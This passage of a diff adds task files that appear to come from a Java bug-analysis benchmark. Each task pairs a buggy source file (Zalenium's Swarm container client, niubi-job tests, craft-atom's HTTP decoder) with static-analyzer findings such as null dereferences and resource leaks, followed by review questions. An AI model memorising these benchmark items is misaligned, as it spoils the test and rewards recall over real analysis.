+    private static void setSeleniumContainerMemoryLimit(String seleniumContainerMemoryLimit) {
+        SwarmContainerClient.seleniumContainerMemoryLimit = seleniumContainerMemoryLimit;
+    }
+
+    public void setNodeId(String nodeId) {
+        this.nodeId = nodeId;
+    }
+
+    private String getContainerId(URL remoteUrl) {
+        try {
+            List<Task> tasks = dockerClient.listTasks();
+            for (Task task : tasks) {
+                for (NetworkAttachment networkAttachment : CollectionUtils.emptyIfNull(task.networkAttachments())) {
+                    for (String address : networkAttachment.addresses()) {
+                        if (address.startsWith(remoteUrl.getHost())) {
+                            return task.status().containerStatus().containerId();
+                        }
+                    }
+                }
+            }
+        } catch (DockerException | InterruptedException e) {
+            e.printStackTrace();
+        }
+
+        return null;
+    }
+
+    private String getContainerId(String containerName) {
+        final String containerNameSearch = containerName.contains("/") ?
+                containerName : String.format("/%s", containerName);
+
+        List<Container> containerList = null;
+        try {
+            containerList = dockerClient.listContainers(withStatusRunning(), withStatusCreated());
+        } catch (DockerException | InterruptedException e) {
+            logger.debug(nodeId + " Error while getting containerId", e);
+            ga.trackException(e);
+        }
+
+        if (containerList != null) {
+            String containerByName = containerList.stream()
+                    .filter(container -> containerNameSearch.equalsIgnoreCase(container.names().get(0)))
+                    .findFirst().map(Container::id).orElse(containerName);
+            return containerByName != null ? containerByName : containerList.stream()
+                    .filter(container -> container.names().get(0).contains(containerName))
+                    .findFirst().map(Container::id).orElse(containerName);
+        } else {
+            return containerName;
+        }
+    }
+
+    public InputStream copyFiles(String containerId, String folderName) {
+        // TODO: Implement behaviour
+        return null;
+    }
+
+    public void stopContainer(String containerId) {
+        try {
+            List<Task> tasks = dockerClient.listTasks();
+            for (Task task : tasks) {
+                ContainerStatus containerStatus = task.status().containerStatus();
+                if (containerStatus != null && containerStatus.containerId().equals(containerId)) {
+                    String serviceId = task.serviceId();
+                    Service.Criteria criteria = Service.Criteria.builder()
+                            .serviceId(serviceId)
+                            .build();
+                    List<Service> services = dockerClient.listServices(criteria);
+                    if (!CollectionUtils.isEmpty(services)) {
+                        dockerClient.removeService(serviceId);
+                    }
+                }
+            }
+        } catch (DockerException | InterruptedException e) {
+            logger.warn(nodeId + " Error while stopping the container", e);
+            ga.trackException(e);
+        }
+    }
+
+    public void executeCommand(String containerId, String[] command, boolean waitForExecution) {
+        try {
+            List<Task> tasks = dockerClient.listTasks();
+
+            pullSwarmExecImage();
+
+            for (Task task : CollectionUtils.emptyIfNull(tasks)) {
+                ContainerStatus containerStatus = task.status().containerStatus();
+
+                if (containerStatus != null && containerStatus.containerId().equals(containerId)) {
+                    startSwarmExecContainer(task, command, containerId);
+                    return;
+                }
+            }
+        } catch (DockerException | InterruptedException e) {
+            logger.warn("Error while executing comman on container {}", containerId);
+            ga.trackException(e);
+        }
+
+        logger.warn("Couldn't execute command on container {}", containerId);
+    }
+
+    private void pullSwarmExecImage() {
+        try {
+            List<Image> images = dockerClient.listImages(DockerClient.ListImagesParam.byName(SWARM_EXEC_IMAGE));
+            if (CollectionUtils.isEmpty(images)) {
+                dockerClient.pull(SWARM_EXEC_IMAGE, new AnsiProgressHandler());
+            }
+        } catch (DockerException | InterruptedException e) {
+            logger.warn(nodeId + " Error while checking (and pulling) if the image is present", e);
+            ga.trackException(e);
+        }
+    }
+
+    private void startSwarmExecContainer(Task task, String[] command, String containerId) throws DockerException, InterruptedException {
+        String taskId = task.id();
+
+        List<String> binds = new ArrayList<>();
+        binds.add("/var/run/docker.sock:/var/run/docker.sock");
+
+        HostConfig.Builder hostConfigBuilder = HostConfig.builder()
+                .autoRemove(true)
+                .appendBinds(binds);
+
+        HostConfig hostConfig = hostConfigBuilder.build();
+
+        command[0] = "task-exec";
+        command[1] = taskId;
+
+        logger.debug("Executing command: {} - on Container: {}",
+                Arrays.toString(command),
+                containerId);
+
+        ContainerConfig containerConfig = ContainerConfig.builder()
+                .image(SWARM_EXEC_IMAGE)
+                .hostConfig(hostConfig)
+                .cmd(command)
+                .build();
+
+        ContainerCreation containerCreation = dockerClient.createContainer(containerConfig);
+
+        dockerClient.startContainer(containerCreation.id());
+    }
+
+    public String getLatestDownloadedImage(String imageName) {
+        // TODO: verify this is handled by docker
+        return imageName;
+    }
+
+    public ContainerCreationStatus createContainer(String zaleniumContainerName, String image, Map<String, String> envVars,
+                                                   String nodePort) {
+        // TODO: is it meaningful to add labels to identify services/containers in the swarm?
+
+        List<String> flattenedEnvVars = envVars.entrySet().stream()
+                .map(e -> e.getKey() + "=" + e.getValue())
+                .collect(Collectors.toList());
+        final ContainerSpec containerSpec = buildContainerSpec(flattenedEnvVars, image);
+
+        final TaskSpec taskSpec = buildTaskSpec(containerSpec);
+
+        String noVncPort = envVars.get("NOVNC_PORT");
+        final ServiceSpec serviceSpec = buildServiceSpec(taskSpec, nodePort, noVncPort);
+
+        try {
+            ServiceCreateResponse service = dockerClient.createService(serviceSpec);
+
+            TaskStatus taskStatus = waitForTaskStatus(service.id());
+
+            if (taskStatus != null) {
+                return getContainerCreationStatus(service.id(), nodePort);
+            }
+        } catch (DockerException | InterruptedException e) {
+            e.printStackTrace();
+        }
+
+        logger.debug("Something went wrong while creating service");
+        return null;
+    }
+
+    private ContainerSpec buildContainerSpec(List<String> flattenedEnvVars, String image) {
+        final Mount.Builder mountBuilder = Mount.builder()
+                .source("/dev/shm")
+                .target("/dev/shm")
+                .type("bind");
+
+        final ContainerSpec.Builder containerSpecBuilder = ContainerSpec.builder()
+                .env(flattenedEnvVars)
+                .image(image)
+                .mounts(mountBuilder.build());
+
+        loadSeleniumContainerLabels();
+
+        if (seleniumContainerLabels.size() > 0) {
+            containerSpecBuilder.labels(seleniumContainerLabels);
+        }
+
+        return containerSpecBuilder.build();
+    }
+
+    private TaskSpec buildTaskSpec(ContainerSpec containerSpec) {
+        final RestartPolicy restartPolicy = RestartPolicy.builder()
+                .condition("on-failure")
+                .build();
+
+        final List<String> placementList = new ArrayList<>();
+
+        placementList.add("node.role==worker");
+
+        final Placement placement = Placement.create(placementList);
+
+        Resources.Builder resourceBuilder = Resources.builder();
+        String cpuLimit = getSeleniumContainerCpuLimit();
+        String memLimit = getSeleniumContainerMemoryLimit();
+
+        if (!Strings.isNullOrEmpty(cpuLimit)) {
+            resourceBuilder.nanoCpus(Long.valueOf(cpuLimit));
+        }
+
+        if (!Strings.isNullOrEmpty(memLimit)) {
+            resourceBuilder.memoryBytes(Long.valueOf(memLimit));
+        }
+
+        ResourceRequirements resourceRequirements = ResourceRequirements.builder()
+                .limits(resourceBuilder.build())
+                .build();
+
+        final TaskSpec.Builder taskSpecBuilder = TaskSpec.builder()
+                .resources(resourceRequirements)
+                .restartPolicy(restartPolicy)
+                .placement(placement)
+                .containerSpec(containerSpec);
+
+        return taskSpecBuilder.build();
+    }
+
+    private ServiceSpec buildServiceSpec(TaskSpec taskSpec, String nodePort, String noVncPort) {
+        final PortConfig nodePortConfig = PortConfig.builder()
+                .targetPort(Integer.valueOf(nodePort))
+                .publishedPort(Integer.valueOf(nodePort))
+                .build();
+
+        final PortConfig noVncPortConfig = PortConfig.builder()
+                .targetPort(Integer.valueOf(noVncPort))
+                .publishedPort(Integer.valueOf(noVncPort))
+                .build();
+
+        final EndpointSpec.Builder endpointSpecBuilder = EndpointSpec.builder()
+                .addPort(nodePortConfig)
+                .addPort(noVncPortConfig);
+
+        final NetworkAttachmentConfig networkAttachmentConfig = NetworkAttachmentConfig.builder()
+                .target(ZaleniumConfiguration.getSwarmOverlayNetwork())
+                .build();
+
+        return ServiceSpec.builder()
+                .name(generateServiceName())
+                .endpointSpec(endpointSpecBuilder.build())
+                .networks(networkAttachmentConfig)
+                .taskTemplate(taskSpec)
+                .build();
+    }
+
+    private TaskStatus waitForTaskStatus(String serviceId) throws DockerException, InterruptedException {
+        return waitForTaskStatus(serviceId, 0);
+    }
+
+    private TaskStatus waitForTaskStatus(String serviceId, int attempts) throws DockerException, InterruptedException {
+        int attemptsLimit = 100;
+        Thread.sleep(100);
+        String serviceName = dockerClient.inspectService(serviceId).spec().name();
+        Task.Criteria criteria = Task.Criteria.builder().serviceName(serviceName).build();
+        List<Task> tasks = dockerClient.listTasks(criteria);
+        Task task = null;
+
+        if (!CollectionUtils.isEmpty(tasks)) {
+            task = tasks.get(0);
+        }
+
+        if (task == null && attempts < attemptsLimit) {
+            return waitForTaskStatus(serviceId, attempts + 1);
+        } else {
+            ContainerStatus containerStatus = task.status().containerStatus();
+            if (containerStatus == null) {
+                return waitForTaskStatus(serviceId, attempts + 1);
+            }
+
+            logger.debug("container {} is ready", containerStatus.containerId());
+
+            return task.status();
+        }
+    }
+
+    private ContainerCreationStatus getContainerCreationStatus(String serviceId, String nodePort) throws DockerException, InterruptedException {
+        Service service = dockerClient.inspectService(serviceId);
+        Task.Criteria criteria = Task.Criteria.builder()
+                .serviceName(service.spec().name())
+                .build();
+        List<Task> tasks = dockerClient.listTasks(criteria);
+        for (Task task : tasks) {
+            if (task.serviceId().equals(serviceId)) {
+                ContainerStatus containerStatus = task.status().containerStatus();
+                if (containerStatus != null) {
+                    String containerId = containerStatus.containerId();
+                    String containerName = containerStatus.containerId();
+                    return new ContainerCreationStatus(true, containerName, containerId, nodePort);
+                }
+            }
+        }
+
+        return null;
+    }
+
+    private String generateServiceName() {
+        final String suffix = RandomStringUtils.randomAlphanumeric(6);
+        return String.format("node_%s", suffix);
+    }
+
+    private void loadSeleniumContainerLabels() {
+        if (!this.seleniumContainerLabelsChecked.getAndSet(true)) {
+            String containerLabels = env.getStringEnvVariable("SELENIUM_CONTAINER_LABELS", "");
+            if (containerLabels.length() == 0) {
+                return;
+            }
+            try {
+                for (String label : containerLabels.split(";")) {
+                    String[] split = label.split("=");
+                    seleniumContainerLabels.put(split[0], split[1]);
+                }
+            } catch (Exception e) {
+                logger.warn(nodeId + " Error while retrieving the added labels for the Selenium containers.", e);
+                ga.trackException(e);
+            }
+        }
+    }
+
+    @Override
+    public void initialiseContainerEnvironment() {
+        if (!environmentInitialised.getAndSet(true)) {
+            // Delete any leftover services from a previous time
+            deleteSwarmServices();
+            // Register a shutdown hook to cleanup pods
+            Runtime.getRuntime().addShutdownHook(new Thread(this::deleteSwarmServices, "SwarmContainerClient shutdown hook"));
+        }
+    }
+
+    private void deleteSwarmServices() {
+        // TODO: Implement functionality
+    }
+
+    @Override
+    public ContainerClientRegistration registerNode(String zaleniumContainerName, URL remoteHost) {
+        ContainerClientRegistration registration = new ContainerClientRegistration();
+
+        Integer noVncPort = remoteHost.getPort() + DockeredSeleniumStarter.NO_VNC_PORT_GAP;
+
+        String containerId = this.getContainerId(remoteHost);
+
+        if (containerId == null) {
+            logger.warn("No container id for {} - {}, can't register.", zaleniumContainerName, remoteHost.toExternalForm());
+        }
+
+        registration.setNoVncPort(noVncPort);
+        registration.setContainerId(containerId);
+        registration.setIpAddress(remoteHost.getHost());
+        return registration;
+    }
+
+    @Override
+    public String getContainerIp(String containerName) {
+        String containerId = this.getContainerId(containerName);
+
+        if (containerId == null) {
+            logger.warn("Failed to get id of container: {} ", containerName);
+            return null;
+        }
+
+        try {
+            List<Task> tasks = dockerClient.listTasks();
+            String swarmOverlayNetwork = ZaleniumConfiguration.getSwarmOverlayNetwork();
+            for (Task task : tasks) {
+                ContainerStatus containerStatus = task.status().containerStatus();
+                if (containerStatus != null) {
+                    if (containerStatus.containerId().equals(containerId)) {
+                        for (NetworkAttachment networkAttachment : CollectionUtils.emptyIfNull(task.networkAttachments())) {
+                            if (networkAttachment.network().spec().name().equals(swarmOverlayNetwork)) {
+                                String cidrSuffix = "/\\d+$";
+                                return networkAttachment.addresses().get(0).replaceAll(cidrSuffix, "");
+                            }
+                        }
+                    }
+                }
+            }
+        } catch (DockerException | InterruptedException e) {
+            logger.debug(nodeId + " Error while getting the container IP.", e);
+            ga.trackException(e);
+        }
+
+        logger.warn("Failed to get ip of container: {}", containerName);
+        return null;
+    }
+
+    @Override
+    public boolean isReady(ContainerCreationStatus container) {
+        String containerIp = this.getContainerIp(container.getContainerName());
+        if (containerIp != null) {
+            try {
+                URL statusUrl = new URL(String.format("http://%s:%s/wd/hub/status", containerIp, container.getNodePort()));
+                String status = IOUtils.toString(statusUrl, StandardCharsets.UTF_8);
+                String successMessage = "\"Node is running\"";
+                if (status.contains(successMessage)) {
+                    return true;
+                }
+            } catch (IOException e) {
+                logger.debug("Error while getting node status, probably the node is still starting up...", e);
+            }
+        }
+        return false;
+    }
+
+    @Override
+    public boolean isTerminated(ContainerCreationStatus container) {
+        try {
+            List<String> termStates = Arrays.asList("complete", "failed", "shutdown", "rejected", "orphaned", "removed");
+            String containerId = container.getContainerId();
+            List<Task> tasks = dockerClient.listTasks();
+            boolean containerExists = tasks.stream().anyMatch(task -> {
+                ContainerStatus containerStatus = task.status().containerStatus();
+                return containerStatus != null && containerStatus.containerId().equals(containerId);
+            });
+
+            if (!containerExists) {
+                logger.info("Container {} has no corresponding task - flagging it as terminated", container);
+                return true;
+            } else {
+                return tasks.stream().anyMatch(task -> {
+                    ContainerStatus containerStatus = task.status().containerStatus();
+                    boolean hasTerminalState = termStates.contains(task.status().state());
+                    boolean isContainer = containerStatus != null && containerStatus.containerId().equals(containerId);
+                    boolean isTerminated = isContainer && hasTerminalState;
+
+                    if (isTerminated) {
+                        logger.info("State of Container {} is {} - flagging it as terminated",
+                                container.getContainerId(),
+                                task.status().state());
+                    }
+
+                    return isTerminated;
+                });
+            }
+        } catch (DockerException | InterruptedException e) {
+            logger.warn("Failed to fetch container status [" + container.getContainerId() + "].", e);
+            return false;
+        }
+    }
+}
+
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `containerStatus.containerId()`  at line 184.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void SwarmContainerClient.executeCommand(String,java.lang.String[],boolean)
+
+### Procedure Id:
+de.zalando.ep.zalenium.container.swarm.SwarmContainerClient.executeCommand(java.lang.String,java.lan.afcb3f092d3d38a657a9cc9ed25346c9
+
+### File:
+src/main/java/de/zalando/ep/zalenium/container/swarm/SwarmContainerClient.java
+
+### Key:
+SwarmContainerClient.java|executeCommand|NULL_DEREFERENCE
+
+### Node Key:
+7e9fc31bc469440d6384630f8b346526
+
+### Hash:
+1e338541d43e899672d95a215bc5ed1c
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9477/instruction.md b/inferredbugs-9477/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c9dcb28994c70533f6e4c2af4f8f2292867905f3
--- /dev/null
+++ b/inferredbugs-9477/instruction.md
@@ -0,0 +1,114 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** niubi-job
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2002-2016 the original author or authors.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.zuoxiaolong.niubi.job.example;
+
+import com.zuoxiaolong.niubi.job.cluster.node.Node;
+import com.zuoxiaolong.niubi.job.cluster.node.StandbyNode;
+import com.zuoxiaolong.niubi.job.core.config.Configuration;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+
+/**
+ * @author Xiaolong Zuo
+ * @since 16/1/9 15:08
+ */
+public class StandbyNodeTest {
+
+    @org.junit.Test
+    public void test() throws InterruptedException, IOException {
+        Node node = new StandbyNode(new Configuration("com.zuoxiaolong.niubi.job.jobs"), "localhost:2181,localhost:3181,localhost:4181");
+        node.join();
+        new BufferedReader(new InputStreamReader(System.in)).readLine();
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `new()` at line 37 is not released after line 37.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void StandbyNodeTest.test()
+
+### Procedure Id:
+com.zuoxiaolong.niubi.job.example.StandbyNodeTest.test():void.6475d7c222e20c0f50268785ebc24813
+
+### File:
+niubi-job-examples/src/test/java/com/zuoxiaolong/niubi/job/example/StandbyNodeTest.java
+
+### Key:
+StandbyNodeTest.java|test|RESOURCE_LEAK
+
+### Node Key:
+fb177ebc5befa9bb46909e04282ac8ca
+
+### Hash:
+d51e825d0be554689f15587338f19c6d
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9479/instruction.md b/inferredbugs-9479/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..75f1ff15d2f0e0a73d42a2d680641518a60d3fb9
--- /dev/null
+++ b/inferredbugs-9479/instruction.md
@@ -0,0 +1,114 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** niubi-job
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2002-2016 the original author or authors.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.zuoxiaolong.niubi.job.example;
+
+import com.zuoxiaolong.niubi.job.cluster.node.MasterSlaveNode;
+import com.zuoxiaolong.niubi.job.cluster.node.Node;
+import com.zuoxiaolong.niubi.job.core.config.Configuration;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+
+/**
+ * @author Xiaolong Zuo
+ * @since 16/1/9 15:08
+ */
+public class MasterSlaveNodeTest {
+
+    @org.junit.Test
+    public void test() throws InterruptedException, IOException {
+        Node node = new MasterSlaveNode(new Configuration("com.zuoxiaolong.niubi.job.jobs"), "localhost:2181,localhost:3181,localhost:4181");
+        node.join();
+        new BufferedReader(new InputStreamReader(System.in)).readLine();
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `new()` at line 37 is not released after line 37.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void MasterSlaveNodeTest.test()
+
+### Procedure Id:
+com.zuoxiaolong.niubi.job.example.MasterSlaveNodeTest.test():void.79d778479ee7ec9c743868f680e0d5bd
+
+### File:
+niubi-job-examples/src/test/java/com/zuoxiaolong/niubi/job/example/MasterSlaveNodeTest.java
+
+### Key:
+MasterSlaveNodeTest.java|test|RESOURCE_LEAK
+
+### Node Key:
+fb177ebc5befa9bb46909e04282ac8ca
+
+### Hash:
+37a2a9a3e13bb842d456c92f98fa42de
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9483/instruction.md b/inferredbugs-9483/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..37aec1bd9f526c61c70375f8fd3b09c9c1c9a26b
--- /dev/null
+++ b/inferredbugs-9483/instruction.md
@@ -0,0 +1,716 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** craft-atom
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.craft.atom.protocol.http;
+
+import static org.craft.atom.protocol.http.model.HttpConstants.COLON;
+import static org.craft.atom.protocol.http.model.HttpConstants.CONTENT_ENCODING_DEFLATE;
+import static org.craft.atom.protocol.http.model.HttpConstants.CONTENT_ENCODING_GZIP;
+import static org.craft.atom.protocol.http.model.HttpConstants.CONTENT_ENCODING_IDENTITY;
+import static org.craft.atom.protocol.http.model.HttpConstants.CR;
+import static org.craft.atom.protocol.http.model.HttpConstants.EQUAL_SIGN;
+import static org.craft.atom.protocol.http.model.HttpConstants.HT;
+import static org.craft.atom.protocol.http.model.HttpConstants.LF;
+import static org.craft.atom.protocol.http.model.HttpConstants.NUL;
+import static org.craft.atom.protocol.http.model.HttpConstants.SEMICOLON;
+import static org.craft.atom.protocol.http.model.HttpConstants.SP;
+import static org.craft.atom.protocol.http.model.HttpConstants.TRANSFER_ENCODING_CHUNKED;
+
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.List;
+
+import org.craft.atom.protocol.AbstractProtocolDecoder;
+import org.craft.atom.protocol.ProtocolException;
+import org.craft.atom.protocol.ProtocolExceptionType;
+import org.craft.atom.protocol.http.model.HttpChunk;
+import org.craft.atom.protocol.http.model.HttpChunkEntity;
+import org.craft.atom.protocol.http.model.HttpConstants;
+import org.craft.atom.protocol.http.model.HttpEntity;
+import org.craft.atom.protocol.http.model.HttpHeader;
+import org.craft.atom.protocol.http.model.HttpHeaderValueElement;
+import org.craft.atom.protocol.http.model.HttpHeaders;
+import org.craft.atom.protocol.http.model.HttpMessage;
+import org.craft.atom.util.ByteUtil;
+import org.craft.atom.util.GzipUtil;
+
+/**
+ * A http decoder for {@code HttpRequest} and {@code HttpResponse}
+ * 
+ * @author mindwind
+ * @version 1.0, Feb 3, 2013
+ * @param <T>
+ * @see HttpRequestDecoder
+ * @see HttpResponseDecoder
+ */
+abstract public class HttpDecoder<T extends HttpMessage>  extends AbstractProtocolDecoder {
+	
+	protected static final int START = 0;
+	protected static final int METHOD = 11;
+	protected static final int REQUEST_URI = 12;
+	protected static final int STATUS_CODE = 21;
+	protected static final int REASON_PHRASE = 22;
+	protected static final int VERSION = 30;
+	protected static final int HEADER_NAME = 40;
+	protected static final int HEADER_VALUE_PREFIX = 41;
+	protected static final int HEADER_VALUE = 42;
+	protected static final int HEADER_VALUE_SUFFIX = 43;
+	protected static final int ENTITY = 50;
+	protected static final int ENTITY_LENGTH = 51;
+	protected static final int ENTITY_CHUNKED_SIZE = 52;
+	protected static final int ENTITY_CHUNKED_EXTENSION_NAME = 53;
+	protected static final int ENTITY_CHUNKED_EXTENSION_VALUE = 54;
+	protected static final int ENTITY_CHUNKED_DATA = 55;
+	protected static final int ENTITY_CHUNKED_TRAILER_NAME = 56;
+	protected static final int ENTITY_CHUNKED_TRAILER_VALUE = 57;
+	protected static final int ENTITY_ENCODING = 58;
+	protected static final int END = -1;
+	
+	protected int stateIndex = 0;
+	protected int state = START;
+	protected int maxLineLength = defaultBufferSize;
+	
+	protected Charset contentCharset;
+	protected HttpHeader header;
+	protected HttpEntity entity;
+	protected HttpChunk chunk;
+	protected String chunkExtName;
+	protected int trailerSize;
+	protected T httpMessage;
+	
+	// ~ ------------------------------------------------------------------------------------------------------------
+	
+	protected void state4END(List<T> httpMessages) throws ProtocolException {
+		// enter END state means search index stay for the last byte of the HttpMessage, move to next
+		slide(1);
+		
+		httpMessages.add(httpMessage);
+		splitIndex = stateIndex = searchIndex;
+		clear();
+		state = START;
+	}
+	
+	protected void state4ENTITY_ENCODING() throws ProtocolException, IOException {
+		HttpHeader ceh = httpMessage.getFirstHeader(HttpHeaders.CONTENT_ENCODING.getName());
+		String coding = null;
+		if (ceh == null){
+			coding = CONTENT_ENCODING_IDENTITY;
+		} else {
+			coding = ceh.getValue();
+		}
+		
+		// none or identity
+		if (coding == null || CONTENT_ENCODING_IDENTITY.equals(coding)) {
+			// if content is chunked, getContent() will restructure chunked content to a complete content.
+			httpMessage.getEntity().setContent(httpMessage.getEntity().getContent());
+		}
+		// gzip
+		else if (CONTENT_ENCODING_GZIP.equals(coding)) {
+			byte[] content = GzipUtil.ungzip(httpMessage.getEntity().getContent());
+			httpMessage.getEntity().setContent(content);
+		}
+		// deflate
+		else if (CONTENT_ENCODING_DEFLATE.equals(coding)) {
+			/*
+			 * A zlib stream will have a header.
+			 * 
+			 * CMF | FLG [| DICTID ] | ...compressed data | ADLER32 |
+			 * 
+			 * * CMF is one byte.
+			 * 
+			 * * FLG is one byte.
+			 * 
+			 * * DICTID is four bytes, and only present if FLG.FDICT is set.
+			 * 
+			 * Sniff the content. Does it look like a zlib stream, with a CMF, etc?
+			 * c.f. RFC1950, section 2.2. http://tools.ietf.org/html/rfc1950#page-4
+			 * 
+			 * We need to see if it looks like a proper zlib stream, or whether it
+			 * is just a deflate stream. RFC2616 calls zlib streams deflate.
+			 * Confusing, isn't it? That's why some servers implement deflate
+			 * Content-Encoding using deflate streams, rather than zlib streams.
+			 * 
+			 * We could start looking at the bytes, but to be honest, someone else
+			 * has already read the RFCs and implemented that for us. So we'll just
+			 * use the JDK libraries and exception handling to do this. If that
+			 * proves slow, then we could potentially change this to check the first
+			 * byte - does it look like a CMF? What about the second byte - does it
+			 * look like a FLG, etc.
+			 * 
+			 * Many browsers over the years implemented an incorrect deflate algorithm, 
+			 * For example: deflate works in Safari 4.0 but is broken in Safari 5.1, it also always has issues on IE.
+			 * So, we don't support deflate encoding now.
+			 */
+			throw new ProtocolException(ProtocolExceptionType.UNEXPECTED, "unsupported content encoding=" + coding);
+		}
+		// compress or others encoding is unsupported
+		else {
+			throw new ProtocolException(ProtocolExceptionType.UNEXPECTED, "unsupported content encoding=" + coding);
+		}
+		
+		// next state
+		httpMessage.setEntity(entity);
+		state = END;
+	}
+	
+	protected void state4ENTITY_CHUNKED_TRAILER_NAME() throws ProtocolException {
+		boolean done = skip(CR, LF);
+		if (!done) { 
+			return; 
+		}
+		
+		// slice header name
+		String name = sliceBySeparators(0, COLON);
+		if (name == null) {
+			return;
+		}
+
+		header = new HttpHeader();
+		header.setName(name);
+
+		// to next state
+		trailerSize--;
+		state = ENTITY_CHUNKED_TRAILER_VALUE;
+	}
+	
+	protected void state4ENTITY_CHUNKED_TRAILER_VALUE() throws ProtocolException {
+		// skip SP or HT
+		boolean done = skip(SP, HT);
+		if (!done) {
+			return;
+		}
+		
+		// slice header value
+		String value = sliceBySeparators(-1, LF);
+		if (value == null) {
+			return;
+		}
+		
+		header.appendValue(value);
+		((HttpChunkEntity) entity).addTrailer(header);
+		
+		// to next state
+		if (trailerSize == 0) {
+			slide(-1);
+			state = END;
+		} else {
+			state = ENTITY_CHUNKED_TRAILER_NAME;
+		}
+	}
+	
+	protected void state4ENTITY_CHUNKED_DATA() throws ProtocolException {
+		boolean done = skip(CR, LF);
+		if (!done) { 
+			return; 
+		}
+		
+		// slice content value
+		int clen = chunk.getSize();
+		byte[] chunkData = sliceByLength(clen);
+		if (chunkData == null) {
+			return;
+		}
+		
+		chunk.setData(chunkData);
+		((HttpChunkEntity) entity).addChunk(chunk);
+		
+		// skip CRLF
+		slide(2);
+		state = ENTITY_CHUNKED_SIZE;
+	}
+	
+	protected void state4ENTITY_CHUNKED_EXTENSION_VALUE() throws ProtocolException {
+		// slice chunk extension value
+		String chunkExtValue = sliceBySeparators(0, SEMICOLON, CR);
+		if (chunkExtValue == null) {
+			return;
+		}
+		
+		chunk.addExtension(chunkExtName, chunkExtValue);
+		
+		byte pb = previousByte();
+		if (SEMICOLON == pb) {
+			state = ENTITY_CHUNKED_EXTENSION_NAME;
+		} else {
+			state = ENTITY_CHUNKED_DATA;
+		}
+	}
+	
+	protected void state4ENTITY_CHUNKED_EXTENSION_NAME() throws ProtocolException {
+		// slice chunk extension name
+		String name = sliceBySeparators(0, EQUAL_SIGN, CR);
+		if (name == null) {
+			return;
+		}
+		
+		this.chunkExtName = name;
+		
+		byte pb = previousByte();
+		if (EQUAL_SIGN == pb) {
